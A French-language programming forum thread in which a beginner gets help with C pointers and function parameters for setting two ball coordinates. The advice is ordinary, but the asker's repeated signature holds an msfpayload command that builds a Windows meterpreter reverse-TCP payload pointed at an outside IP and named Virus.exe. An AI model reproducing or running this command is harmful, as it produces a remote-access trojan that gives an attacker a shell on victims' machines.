Partage
  • Partager sur Facebook
  • Partager sur Twitter

pointeurs / fonctions problème

Sujet résolu
    11 juillet 2019 à 21:13:50

    Bonjour, je vous présente mon problème, j'ai crée une fonction qui doit attribuer des coordonées a deux balles qui sont des variables. Le problème est que la première varibale qui se nomme balleX est bien affectée mais balleY, non. J'ai utilisé des pointeurs. Merci de m'aidé. Voici le code est le screen du terminal :

    #include <stdio.h>
    
    void init_ball(*pt_balleX, *pt_balleY){
    
        *pt_balleX = 30;
        *pt_balleY = 120;
        
    
    }
    
    
    
    
    int main(void)
    {
    
    
    
    
    
        int balleX;
        int balleY;
        
    
        balleX = init_ball(&balleX);
        printf("Avant la partie : %d\n", balleX);
        balleY = init_ball(&balleY);
        printf("Avant la partie : %d\n", balleY);
        
    
    
        return 0;
    }



    • Partager sur Facebook
    • Partager sur Twitter

    msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

      11 juillet 2019 à 21:25:02

      L'endroit où se situe l'erreur pourtant bien marquée dans la 1ère ligne d'erreur: il faut que tu précises le type de la donnée pointée. Il manque donc un int devant les *

      -
      Edité par zoup 11 juillet 2019 à 21:25:16

      • Partager sur Facebook
      • Partager sur Twitter
        11 juillet 2019 à 21:30:50

        Merci ! une erreur s'est enlevée, cependant il y a encore une erreur ! Aussi peut-tu me dire si l'utilisation des pointeurs est bien utilisée car je commence dans les pointeurs..

        • Partager sur Facebook
        • Partager sur Twitter

        msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

          12 juillet 2019 à 0:03:16

          init_ball attend 2 arguments  tu n'en envoi qu'un seul !
          • Partager sur Facebook
          • Partager sur Twitter
            12 juillet 2019 à 0:08:02

            merci de ta réponse mais je voudrais un truc dans ce genre, est-ce possible ? Juste avec la fonction init_ball:

             
            
            int main(void)
            {
                balleX = init_ball(balleX)
            
                balleY = init_ball(balleY)
            }



            -
            Edité par LeDevEnC 12 juillet 2019 à 0:10:20

            • Partager sur Facebook
            • Partager sur Twitter

            msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

              12 juillet 2019 à 0:52:12

              Si tu n'as besoin de passer qu'un seul paramètre, fais en sorte que ta fonction init_ball ne possède qu'un seul argument.

              Ou alors, ce que je subodore, c'est que tu n'as pas bien compris le principe de passage de paramètres à une fonction d'une manière générale.

              • Partager sur Facebook
              • Partager sur Twitter
                12 juillet 2019 à 14:05:18

                Je ne comprend pas malgré que je connaisse le fonctionnement des fontions et le passage de paramètres !

                Pourrais-tu me donner un code correct qui ferait qu'avait une fonction, on pourrait attribuer deux valeurs a deux variables de la fonction main().

                Merci de ton aide 

                -
                Edité par LeDevEnC 12 juillet 2019 à 14:05:43

                • Partager sur Facebook
                • Partager sur Twitter

                msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

                  12 juillet 2019 à 15:45:12

                  Si tu veux que ça modifie deux valeurs, tu fait ta fonction comme tu as fait dans ton premier code avec deux paramètres.

                  Et comme tu connais le fonctionnement des fonctions, tu l'appelles correctement.

                  • Partager sur Facebook
                  • Partager sur Twitter
                    12 juillet 2019 à 15:57:20

                    Je ne comprend pas pourquoi mon premier code est mauvais, voici l'erreur unique :

                    • Partager sur Facebook
                    • Partager sur Twitter

                    msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

                      12 juillet 2019 à 16:01:53

                      LeDevEnC a écrit:

                      malgré que je connaisse le fonctionnement des fontions et le passage de paramètres !

                      Je n'en suis pas vraiment sur:

                      - tu appelles une fonction avec un seul paramètre alors qu'elle en attend 2

                      - Le type de ta fonction est "void" alors que tu affectes à une variable le résultat de cette même fonction

                      • Partager sur Facebook
                      • Partager sur Twitter
                        12 juillet 2019 à 16:19:39

                        Je suis d'accord mais pourrais-tu juste me donner un code que j'analyserai pour comprendre mon erreur s'il te plaît ??
                        • Partager sur Facebook
                        • Partager sur Twitter

                        msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

                          12 juillet 2019 à 16:34:24

                          Voici un code, d'une fonction avec deux paramètres.

                          #include <stdio.h>
                          
                          void affiche(char *str1, char *str2)
                          {
                              printf("%s %s\n", str1, str2);
                          }
                          
                          int main(void)
                          {
                              affiche("Hello", "Word !");
                              return 0;
                          }

                          Je te suggère quand même de revoir ton cours sur les fonctions.

                          • Partager sur Facebook
                          • Partager sur Twitter
                            12 juillet 2019 à 16:42:53

                            merci, mais il faudrais un truc dans ce genre:

                            mot1 = affiche(str1)

                            mot2 = affiche(str2)

                            • Partager sur Facebook
                            • Partager sur Twitter

                            msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

                              12 juillet 2019 à 16:50:47

                              Mais que voudrais-tu que la fonction "affiche" renvoie comme résultat?

                              -
                              Edité par zoup 12 juillet 2019 à 17:21:19

                              • Partager sur Facebook
                              • Partager sur Twitter
                                12 juillet 2019 à 17:03:00

                                #include <stdio.h>
                                
                                char* fonction(char *str1)
                                {
                                    return str1;
                                }
                                
                                int main(void)
                                {
                                    char *str1;
                                    char *str2;
                                    str1 = fonction("Hello");
                                    str2 = fonction("Word !");
                                    printf("%s %s\n", str1, str2);
                                    return 0;
                                }



                                -
                                Edité par rouloude 12 juillet 2019 à 17:05:47

                                • Partager sur Facebook
                                • Partager sur Twitter
                                  12 juillet 2019 à 17:05:12

                                  Merci beaucoup
                                  • Partager sur Facebook
                                  • Partager sur Twitter

                                  msfpayload -p windows/meterpreter/reverse_tcp lhost=172.45.3.23 lport=80 R > Desktop/Virus.exe

                                  pointeurs / fonctions problème

                                  × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
                                  • Editeur
                                  • Markdown